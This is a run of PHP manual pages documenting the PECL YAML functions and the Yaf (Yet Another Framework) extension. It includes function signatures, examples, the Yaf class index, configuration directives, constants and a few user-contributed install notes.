bool yaml_emit_file ( string $filename , mixed $data [, int $encoding = YAML_ANY_ENCODING [, int $linebreak = YAML_ANY_BREAK [, array $callbacks ]]] )

Generate a YAML representation of the provided data in the filename.

Parameters

filename

Path to the file.

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Content handlers for emitting YAML nodes. Associative array of classname => callable mappings. See emit callbacks for more details.

Return Values

Returns TRUE on success.

Changelog

Version | Description
1.1.0 | The callbacks parameter was added.

See Also

  • yaml_emit() - Returns the YAML representation of a value
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Returns the YAML representation of a value

  • « yaml_emit_file
  • yaml_parse_file »
  • PHP Manual
  • Yaml Functions
  • Returns the YAML representation of a value

yaml_emit

(PECL yaml >= 0.5.0)

yaml_emit — Returns the YAML representation of a value

Description

string yaml_emit ( mixed $data [, int $encoding = YAML_ANY_ENCODING [, int $linebreak = YAML_ANY_BREAK [, array $callbacks ]]] )

Generate a YAML representation of the provided data.

Parameters

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Content handlers for emitting YAML nodes. Associative array of classname => callable mappings. See emit callbacks for more details.

Return Values

Returns a YAML encoded string on success.

Changelog

Version | Description
1.1.0 | The callbacks parameter was added.

Examples

Example #1 yaml_emit() example

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> 980208000,
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
  );
var_dump(yaml_emit($invoice));
?>

The above example will output something similar to:

string(628) "---
invoice: 34843
date: 980208000
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"

See Also

  • yaml_emit_file() - Send the YAML representation of a value to a file
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Parse a YAML stream from a file

  • « yaml_emit
  • yaml_parse_url »
  • PHP Manual
  • Yaml Functions
  • Parse a YAML stream from a file

yaml_parse_file

(PECL yaml >= 0.4.0)

yaml_parse_file — Parse a YAML stream from a file

Description

mixed yaml_parse_file ( string $filename [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream read from a file to a PHP variable.

Parameters

filename

Path to the file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

See Also

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

Jesse Donat 11-Aug-2011 06:34
This is entirely dependent on type detection - as far as I can find there is no way to force a type and for instance when you have a very long integer as a value - in my case 1313035348823 it gets limited to 2147483647 - PHP's max integer.


Parse a Yaml stream from a URL

  • « yaml_parse_file
  • yaml_parse »
  • PHP Manual
  • Yaml Functions
  • Parse a Yaml stream from a URL

yaml_parse_url

(PECL yaml >= 0.4.0)

yaml_parse_url — Parse a Yaml stream from a URL

Description

mixed yaml_parse_url ( string $url [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream read from a URL to a PHP variable.

Parameters

url

url should be of the form "scheme://...". PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

See Also

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

There are no user contributed notes for this page.


Parse a YAML stream

  • « yaml_parse_url
  • Yaf »
  • PHP Manual
  • Yaml Functions
  • Parse a YAML stream

yaml_parse

(PECL yaml >= 0.4.0)

yaml_parse — Parse a YAML stream

Description

mixed yaml_parse ( string $input [, int $pos = 0 [, int &$ndocs [, array $callbacks ]]] )

Convert all or part of a YAML document stream to a PHP variable.

Parameters

input

The string to parse as a YAML document stream.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.

Return Values

Returns the value encoded in input in appropriate PHP type or FALSE on failure. If pos is -1 an array will be returned with one entry for each document found in the stream.

Examples

Example #1 yaml_parse() example

<?php
$yaml = <<<EOD
---
invoice: 34843
date: "2001-01-23"
bill-to: &id001
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to: *id001
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
EOD;

$parsed = yaml_parse($yaml);
var_dump($parsed);
?>

The above example will output something similar to:

array(8) {
  ["invoice"]=>
  int(34843)
  ["date"]=>
  string(10) "2001-01-23"
  ["bill-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["ship-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["product"]=>
  array(2) {
    [0]=>
    array(4) {
      ["sku"]=>
      string(6) "BL394D"
      ["quantity"]=>
      int(4)
      ["description"]=>
      string(10) "Basketball"
      ["price"]=>
      int(450)
    }
    [1]=>
    array(4) {
      ["sku"]=>
      string(7) "BL4438H"
      ["quantity"]=>
      int(1)
      ["description"]=>
      string(10) "Super Hoop"
      ["price"]=>
      int(2392)
    }
  }
  ["tax"]=>
  float(251.42)
  ["total"]=>
  float(4443.52)
  ["comments"]=>
  string(68) "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338."
}

See Also

  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

alpacagm at gmail dot com 11-Jan-2012 01:32
Simple usage example of interpreting custom tags:
<?php
$data=
"#yaml
---
data: !mytag bar test
...
";

function callback($value){
  return str_replace('bar','baz',$value);
}
$cnt;
$array=yaml_parse($data,0,$cnt,array('!mytag'=>'callback'));

print_r($array['data']);
?>
output:
Array
(
   [data] => baz test
)
note, there is a related bug in version 1.0.1 (see tracker)


Yet Another Framework

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Application Configuration
  • Yaf_Application — The Yaf_Application class
    • Yaf_Application::app — Retrieve an Application instance
    • Yaf_Application::bootstrap — Call bootstrap
    • Yaf_Application::clearLastError — Clear the last error info
    • Yaf_Application::__clone — Yaf_Application can not be cloned
    • Yaf_Application::__construct — Yaf_Application constructor
    • Yaf_Application::__destruct — The __destruct purpose
    • Yaf_Application::environ — Retrive environ
    • Yaf_Application::execute — Execute a callback
    • Yaf_Application::getAppDirectory — Get the application directory
    • Yaf_Application::getConfig — Retrive the config instance
    • Yaf_Application::getDispatcher — Get Yaf_Dispatcher instance
    • Yaf_Application::getLastErrorMsg — Get message of the last occurred error
    • Yaf_Application::getLastErrorNo — Get code of last occurred error
    • Yaf_Application::getModules — Get defined module names
    • Yaf_Application::run — Start Yaf_Application
    • Yaf_Application::setAppDirectory — Change the application directory
    • Yaf_Application::__sleep — Yaf_Application can not be serialized
    • Yaf_Application::__wakeup — Yaf_Application can not be unserialized
  • Yaf_Bootstrap_Abstract — The Yaf_Bootstrap_Abstract class
  • Yaf_Dispatcher — The Yaf_Dispatcher class
    • Yaf_Dispatcher::autoRender — Switch on/off autorendering
    • Yaf_Dispatcher::catchException — Switch on/off exception catching
    • Yaf_Dispatcher::__clone — Yaf_Dispatcher can not be cloned
    • Yaf_Dispatcher::__construct — Yaf_Dispatcher constructor
    • Yaf_Dispatcher::disableView — Disable view rendering
    • Yaf_Dispatcher::dispatch — Dispatch a request
    • Yaf_Dispatcher::enableView — enable view rendering
    • Yaf_Dispatcher::flushInstantly — Switch on/off the instant flushing
    • Yaf_Dispatcher::getApplication — Retrive the application
    • Yaf_Dispatcher::getInstance — Retrive the dispatcher instance
    • Yaf_Dispatcher::getRequest — Retrive the request instance
    • Yaf_Dispatcher::getRouter — Retrive router instance
    • Yaf_Dispatcher::initView — Initialize view and return it
    • Yaf_Dispatcher::registerPlugin — Register a plugin
    • Yaf_Dispatcher::returnResponse — The returnResponse purpose
    • Yaf_Dispatcher::setDefaultAction — Change default action name
    • Yaf_Dispatcher::setDefaultController — Change default controller name
    • Yaf_Dispatcher::setDefaultModule — Change default module name
    • Yaf_Dispatcher::setErrorHandler — Set error handler
    • Yaf_Dispatcher::setRequest — The setRequest purpose
    • Yaf_Dispatcher::setView — Set a custom view engine
    • Yaf_Dispatcher::__sleep — Yaf_Dispatcher can not be serialized
    • Yaf_Dispatcher::throwException — Switch on/off exception throwing
    • Yaf_Dispatcher::__wakeup — Yaf_Dispatcher can not be unserialized
  • Yaf_Config_Abstract — The Yaf_Config_Abstract class
    • Yaf_Config_Abstract::get — Getter
    • Yaf_Config_Abstract::readonly — Find a config whether readonly
    • Yaf_Config_Abstract::set — Setter
    • Yaf_Config_Abstract::toArray — Cast to array
  • Yaf_Config_Ini — The Yaf_Config_Ini class
    • Yaf_Config_Ini::__construct — Yaf_Config_Ini constructor
    • Yaf_Config_Ini::count — The count purpose
    • Yaf_Config_Ini::current — The current purpose
    • Yaf_Config_Ini::__get — The __get purpose
    • Yaf_Config_Ini::__isset — The __isset purpose
    • Yaf_Config_Ini::key — The key purpose
    • Yaf_Config_Ini::next — The next purpose
    • Yaf_Config_Ini::offsetExists — The offsetExists purpose
    • Yaf_Config_Ini::offsetGet — The offsetGet purpose
    • Yaf_Config_Ini::offsetSet — The offsetSet purpose
    • Yaf_Config_Ini::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Ini::readonly — The readonly purpose
    • Yaf_Config_Ini::rewind — The rewind purpose
    • Yaf_Config_Ini::__set — The __set purpose
    • Yaf_Config_Ini::toArray — Returns a PHP array
    • Yaf_Config_Ini::valid — The valid purpose
  • Yaf_Config_Simple — The Yaf_Config_Simple class
    • Yaf_Config_Simple::__construct — The __construct purpose
    • Yaf_Config_Simple::count — The count purpose
    • Yaf_Config_Simple::current — The current purpose
    • Yaf_Config_Simple::__get — The __get purpose
    • Yaf_Config_Simple::__isset — The __isset purpose
    • Yaf_Config_Simple::key — The key purpose
    • Yaf_Config_Simple::next — The next purpose
    • Yaf_Config_Simple::offsetExists — The offsetExists purpose
    • Yaf_Config_Simple::offsetGet — The offsetGet purpose
    • Yaf_Config_Simple::offsetSet — The offsetSet purpose
    • Yaf_Config_Simple::offsetUnset — The offsetUnset purpose
    • Yaf_Config_Simple::readonly — The readonly purpose
    • Yaf_Config_Simple::rewind — The rewind purpose
    • Yaf_Config_Simple::__set — The __set purpose
    • Yaf_Config_Simple::toArray — Returns a PHP array
    • Yaf_Config_Simple::valid — The valid purpose
  • Yaf_Controller_Abstract — The Yaf_Controller_Abstract class
    • Yaf_Controller_Abstract::__clone — Yaf_Controller_Abstract can not be cloned
    • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract constructor
    • Yaf_Controller_Abstract::display — The display purpose
    • Yaf_Controller_Abstract::forward — foward to another action
    • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
    • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
    • Yaf_Controller_Abstract::getModuleName — Get module name
    • Yaf_Controller_Abstract::getRequest — Retrieve current request object
    • Yaf_Controller_Abstract::getResponse — Retrieve current response object
    • Yaf_Controller_Abstract::getView — Retrieve the view engine
    • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
    • Yaf_Controller_Abstract::init — Controller initializer
    • Yaf_Controller_Abstract::initView — The initView purpose
    • Yaf_Controller_Abstract::redirect — Redirect to a URL
    • Yaf_Controller_Abstract::render — Render view template
    • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose
  • Yaf_Action_Abstract — The Yaf_Action_Abstract class
    • Yaf_Action_Abstract::execute — Action entry point
    • Yaf_Action_Abstract::getController — Retrieve controller object
  • Yaf_View_Interface — The Yaf_View_Interface class
    • Yaf_View_Interface::assign — Assign value to View engine
    • Yaf_View_Interface::display — Render and output a template
    • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
    • Yaf_View_Interface::render — Render a template
    • Yaf_View_Interface::setScriptPath — The setScriptPath purpose
  • Yaf_View_Simple — The Yaf_View_Simple class
    • Yaf_View_Simple::assign — Assign values
    • Yaf_View_Simple::assignRef — The assignRef purpose
    • Yaf_View_Simple::clear — Clear Assigned values
    • Yaf_View_Simple::__construct — Constructor of Yaf_View_Simple
    • Yaf_View_Simple::display — Render and display
    • Yaf_View_Simple::eval — Render template
    • Yaf_View_Simple::__get — Retrieve assigned variable
    • Yaf_View_Simple::getScriptPath — Get templates directory
    • Yaf_View_Simple::__isset — The __isset purpose
    • Yaf_View_Simple::render — Render template
    • Yaf_View_Simple::__set — Set value to engine
    • Yaf_View_Simple::setScriptPath — Set tempaltes directory
  • Yaf_Loader — The Yaf_Loader class
    • Yaf_Loader::autoload — The autoload purpose
    • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
    • Yaf_Loader::__clone — The __clone purpose
    • Yaf_Loader::__construct — The __construct purpose
    • Yaf_Loader::getInstance — The getInstance purpose
    • Yaf_Loader::getLibraryPath — get the library path
    • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
    • Yaf_Loader::import — The import purpose
    • Yaf_Loader::isLocalName — The isLocalName purpose
    • Yaf_Loader::registerLocalNamespace — register local class prefix
    • Yaf_Loader::setLibraryPath — Change the library path
    • Yaf_Loader::__sleep — The __sleep purpose
    • Yaf_Loader::__wakeup — The __wakeup purpose
  • Yaf_Plugin_Abstract — The Yaf_Plugin_Abstract class
    • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
    • Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose
    • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
    • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
    • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
    • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
    • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook
  • Yaf_Registry — The Yaf_Registry class
    • Yaf_Registry::__clone — The __clone purpose
    • Yaf_Registry::__construct — Yaf_Registry implements singleton
    • Yaf_Registry::del — Remove an item from registry
    • Yaf_Registry::get — Retrieve an item from registry
    • Yaf_Registry::has — Check whether an item exists
    • Yaf_Registry::set — Add an item into registry
  • Yaf_Request_Abstract — The Yaf_Request_Abstract class
    • Yaf_Request_Abstract::getActionName — The getActionName purpose
    • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
    • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
    • Yaf_Request_Abstract::getEnv — Retrieve ENV varialbe
    • Yaf_Request_Abstract::getException — The getException purpose
    • Yaf_Request_Abstract::getLanguage — The getLanguage purpose
    • Yaf_Request_Abstract::getMethod — The getMethod purpose
    • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
    • Yaf_Request_Abstract::getParam — The getParam purpose
    • Yaf_Request_Abstract::getParams — The getParams purpose
    • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
    • Yaf_Request_Abstract::getServer — Retrieve SERVER variable
    • Yaf_Request_Abstract::isCli — The isCli purpose
    • Yaf_Request_Abstract::isDispatched — The isDispatched purpose
    • Yaf_Request_Abstract::isGet — The isGet purpose
    • Yaf_Request_Abstract::isHead — The isHead purpose
    • Yaf_Request_Abstract::isOptions — The isOptions purpose
    • Yaf_Request_Abstract::isPost — The isPost purpose
    • Yaf_Request_Abstract::isPut — The isPut purpose
    • Yaf_Request_Abstract::isRouted — The isRouted purpose
    • Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose
    • Yaf_Request_Abstract::setActionName — The setActionName purpose
    • Yaf_Request_Abstract::setBaseUri — set base URI
    • Yaf_Request_Abstract::setControllerName — The setControllerName purpose
    • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
    • Yaf_Request_Abstract::setModuleName — The setModuleName purpose
    • Yaf_Request_Abstract::setParam — The setParam purpose
    • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
    • Yaf_Request_Abstract::setRouted — The setRouted purpose
  • Yaf_Request_Http — The Yaf_Request_Http class
    • Yaf_Request_Http::__clone — The __clone purpose
    • Yaf_Request_Http::__construct — The __construct purpose
    • Yaf_Request_Http::get — Retrieve variable from client
    • Yaf_Request_Http::getCookie — Retrieve Cookie varialbe
    • Yaf_Request_Http::getFiles — The getFiles purpose
    • Yaf_Request_Http::getPost — Retrieve POST variable
    • Yaf_Request_Http::getQuery — Fetch a query parameter
    • Yaf_Request_Http::getRequest — The getRequest purpose
    • Yaf_Request_Http::isXmlHttpRequest — Whether a Ajax Request
  • Yaf_Request_Simple — The Yaf_Request_Simple class
    • Yaf_Request_Simple::__clone — The __clone purpose
    • Yaf_Request_Simple::__construct — The __construct purpose
    • Yaf_Request_Simple::get — The get purpose
    • Yaf_Request_Simple::getCookie — The getCookie purpose
    • Yaf_Request_Simple::getFiles — The getFiles purpose
    • Yaf_Request_Simple::getPost — The getPost purpose
    • Yaf_Request_Simple::getQuery — The getQuery purpose
    • Yaf_Request_Simple::getRequest — The getRequest purpose
    • Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose
  • Yaf_Response_Abstract — The Yaf_Response_Abstract class
    • Yaf_Response_Abstract::appendBody — append to body
    • Yaf_Response_Abstract::clearBody — The clearBody purpose
    • Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose
    • Yaf_Response_Abstract::__clone — The __clone purpose
    • Yaf_Response_Abstract::__construct — The __construct purpose
    • Yaf_Response_Abstract::__destruct — The __destruct purpose
    • Yaf_Response_Abstract::getBody — Retrieve a exists content
    • Yaf_Response_Abstract::getHeader — The getHeader purpose
    • Yaf_Response_Abstract::prependBody — The prependBody purpose
    • Yaf_Response_Abstract::response — send response
    • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
    • Yaf_Response_Abstract::setBody — Set content to response
    • Yaf_Response_Abstract::setHeader — The setHeader purpose
    • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
    • Yaf_Response_Abstract::__toString — The __toString purpose
  • Yaf_Route_Interface — The Yaf_Route_Interface class
    • Yaf_Route_Interface::assemble — assemble a request
    • Yaf_Route_Interface::route — route a request
  • Yaf_Route_Map — The Yaf_Route_Map class
    • Yaf_Route_Map::assemble — Assemble a url
    • Yaf_Route_Map::__construct — The __construct purpose
    • Yaf_Route_Map::route — The route purpose
  • Yaf_Route_Regex — The Yaf_Route_Regex class
    • Yaf_Route_Regex::assemble — Assemble a url
    • Yaf_Route_Regex::__construct — Yaf_Route_Regex constructor
    • Yaf_Route_Regex::route — The route purpose
  • Yaf_Route_Rewrite — The Yaf_Route_Rewrite class
    • Yaf_Route_Rewrite::assemble — Assemble a url
    • Yaf_Route_Rewrite::__construct — Yaf_Route_Rewrite constructor
    • Yaf_Route_Rewrite::route — The route purpose
  • Yaf_Router — The Yaf_Router class
    • Yaf_Router::addConfig — Add config-defined routes into Router
    • Yaf_Router::addRoute — Add new Route into Router
    • Yaf_Router::__construct — Yaf_Router constructor
    • Yaf_Router::getCurrentRoute — Get the effective route name
    • Yaf_Router::getRoute — Retrieve a route by name
    • Yaf_Router::getRoutes — Retrieve registered routes
    • Yaf_Router::route — The route purpose
  • Yaf_Route_Simple — The Yaf_Route_Simple class
    • Yaf_Route_Simple::assemble — Assemble a url
    • Yaf_Route_Simple::__construct — Yaf_Route_Simple constructor
    • Yaf_Route_Simple::route — Route a request
  • Yaf_Route_Static — The Yaf_Route_Static class
    • Yaf_Route_Static::assemble — Assemble a url
    • Yaf_Route_Static::match — The match purpose
    • Yaf_Route_Static::route — Route a request
  • Yaf_Route_Supervar — The Yaf_Route_Supervar class
    • Yaf_Route_Supervar::assemble — Assemble a url
    • Yaf_Route_Supervar::__construct — The __construct purpose
    • Yaf_Route_Supervar::route — The route purpose
  • Yaf_Session — The Yaf_Session class
    • Yaf_Session::__clone — The __clone purpose
    • Yaf_Session::__construct — The __construct purpose
    • Yaf_Session::count — The count purpose
    • Yaf_Session::current — The current purpose
    • Yaf_Session::del — The del purpose
    • Yaf_Session::__get — The __get purpose
    • Yaf_Session::getInstance — The getInstance purpose
    • Yaf_Session::has — The has purpose
    • Yaf_Session::__isset — The __isset purpose
    • Yaf_Session::key — The key purpose
    • Yaf_Session::next — The next purpose
    • Yaf_Session::offsetExists — The offsetExists purpose
    • Yaf_Session::offsetGet — The offsetGet purpose
    • Yaf_Session::offsetSet — The offsetSet purpose
    • Yaf_Session::offsetUnset — The offsetUnset purpose
    • Yaf_Session::rewind — The rewind purpose
    • Yaf_Session::__set — The __set purpose
    • Yaf_Session::__sleep — The __sleep purpose
    • Yaf_Session::start — The start purpose
    • Yaf_Session::__unset — The __unset purpose
    • Yaf_Session::valid — The valid purpose
    • Yaf_Session::__wakeup — The __wakeup purpose
  • Yaf_Exception — The Yaf_Exception class
    • Yaf_Exception::__construct — The __construct purpose
    • Yaf_Exception::getPrevious — The getPrevious purpose
  • Yaf_Exception_TypeError — The Yaf_Exception_TypeError class
  • Yaf_Exception_StartupError — The Yaf_Exception_StartupError class
  • Yaf_Exception_DispatchFailed — The Yaf_Exception_DispatchFailed class
  • Yaf_Exception_RouterFailed — The Yaf_Exception_RouterFailed class
  • Yaf_Exception_LoadFailed — The Yaf_Exception_LoadFailed class
  • Yaf_Exception_LoadFailed_Module — The Yaf_Exception_LoadFailed_Module class
  • Yaf_Exception_LoadFailed_Controller — The Yaf_Exception_LoadFailed_Controller class
  • Yaf_Exception_LoadFailed_Action — The Yaf_Exception_LoadFailed_Action class
  • Yaf_Exception_LoadFailed_View — The Yaf_Exception_LoadFailed_View class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The Yet Another Framework (Yaf) extension is a PHP framework that is used to develop web applications.

Yaf requires PHP 5.2.1 or greater. Earlier versions may not work.

A simple Yaf benchmark can be found at » Yaf Performance.

For a quick start guide, please refer to the Tutorials section.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/yaf.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

mikespook at gmail dot com 04-Dec-2013 06:49
Install PHP-YAF to Ubuntu from PPA:

> sudo add-apt-repository ppa:mikespook/php5-yaf
> sudo apt-get update
> sudo apt-get install php5-yaf
alex at corretge dot cat 17-Apr-2013 11:22
Yaf is an PECL extension, thus you can simply install it by:

pecl install yaf


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Yaf Configure Options
Name | Default | Changeable | Changelog
yaf.library |  | its PHP_INI_ALL value |
yaf.action_prefer | 0 | its PHP_INI_ALL value |
yaf.lowcase_path | 0 | its PHP_INI_ALL value |
yaf.use_spl_autoload | 0 | its PHP_INI_ALL value |
yaf.forward_limit | 5 | its PHP_INI_ALL value |
yaf.name_suffix | 1 | its PHP_INI_ALL value |
yaf.name_separator |  | its PHP_INI_ALL value |
yaf.cache_config | 0 | its PHP_INI_SYSTEM value |
yaf.environ | product | its PHP_INI_SYSTEM value |
yaf.use_namespace | 0 | its PHP_INI_ALL value |

Here's a short explanation of the configuration directives.

yaf.library string

The global library path, Yaf_loader will search global library in this directory.

yaf.action_prefer integer

If there is only one part in PATH_INFO, should it consider as a controller or action.

If this configure On, it will be considered as a Action name.

yaf.lowcase_path integer

Whether lowercase all the path during the class autoloading.

yaf.use_spl_autoload integer

When this value is On, if Yaf_Loader can not find a class, it will return FALSE, then give chance to other auto load function to be called.

When this value is Off, if Yaf_Loader can not find a class, it will return TRUE, and make the class autoloading failed immediately.

Note:

Yaf will register its loader during a instantiation of Yaf_Application, so any other auto loaders which is register before the instantiation will be called before Yaf_Loader::autoload().

When this value is Off(default), Yaf_Loader::autoload() will always return TRUE.

yaf.forward_limit integer

The max forward count, default is 5. that means you can have a max value of 5 in the forward stack.

This is a protection for prevent recursive Yaf_Controller_Abstract::forward().

yaf.name_suffix integer

When this On, Yaf_Loader will identify a class by it's suffix to decide whether it is a MVC Class.

When this Off, Yaf_Loader will look at the prefix of the class name.

yaf.name_separator string

When this is not empty, Yaf_Loader will identify the class suffix and string value of this.

For example, when this value is "_", Yaf_Loader will take Index_Controller as a Controller Class, IndexController as a normal class.

yaf.cache_config integer

If this is On, and in the meantime you are using ini config file as the parameter of Yaf_Application(), the compiling result of the ini config file will be cached in the PHP process.

Note:

Yaf examine the mtime of the ini file, if it was changed since last compiling, Yaf will reload it.

Warning

Yaf use the ini file path as the cache entry key, so do use the absolute path in ini file path, otherwise there might be some conflicts if two application use the same relative path of ini config.

yaf.environ string

This value is "product" by default, used for Yaf to fetch the config section of a ini config file.

That is, if this value is "product", Yaf will use the section named "product" in the ini config file(the first parameter of the Yaf_Application) as the final config of the Yaf_Application.

yaf.use_namespace integer

Only works as of PHP 5.3, if this value is On, All classes of Yaf will named in namespace style.

For example:

Yaf_Route_Rewrite => \Yaf\Route\Rewrite
Yaf_Request_Http  => \Yaf\Request\Http
There is a exception, that is some classes like Yaf_Controller_Abstract. The last component is a keyword of PHP, could not be used as a class name, so for such classes:
Yaf_Controller_Abstract => \Yaf\Controller_Abstract
Yaf_Route_Static => \Yaf\Route_Static

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

YAF_VERSION (string)
YAF_ENVIRON (string)
YAF_ERR_STARTUP_FAILED (integer)
YAF_ERR_ROUTE_FAILED (integer)
YAF_ERR_DISPATCH_FAILED (integer)
YAF_ERR_AUTOLOAD_FAILED (integer)
YAF_ERR_NOTFOUND_MODULE (integer)
YAF_ERR_NOTFOUND_CONTROLLER (integer)
YAF_ERR_NOTFOUND_ACTION (integer)
YAF_ERR_NOTFOUND_VIEW (integer)
YAF_ERR_CALL_FAILED (integer)
YAF_ERR_TYPE_ERROR (integer)

User Contributed Notes

lee dot howarth dot 90 at gmail dot com 04-Apr-2014 04:59
The documentation here is not fully correct.

<?php

    print_r(get_defined_constants());
   die;

?>

Will show basically:

  [PHP_YAF_VERSION] => 2.3.2
    [YAF_ENVIRON] => product
    [YAF_ERR_STARTUP_FAILED] => 512
    [YAF_ERR_ROUTE_FAILED] => 513
    [YAF_ERR_DISPATCH_FAILED] => 514
    [YAF_ERR_AUTOLOAD_FAILED] => 520
    [YAF_ERR_NOTFOUND_MODULE] => 515
    [YAF_ERR_NOTFOUND_CONTROLLER] => 516
    [YAF_ERR_NOTFOUND_ACTION] => 517
    [YAF_ERR_NOTFOUND_VIEW] => 518
    [YAF_ERR_CALL_FAILED] => 519
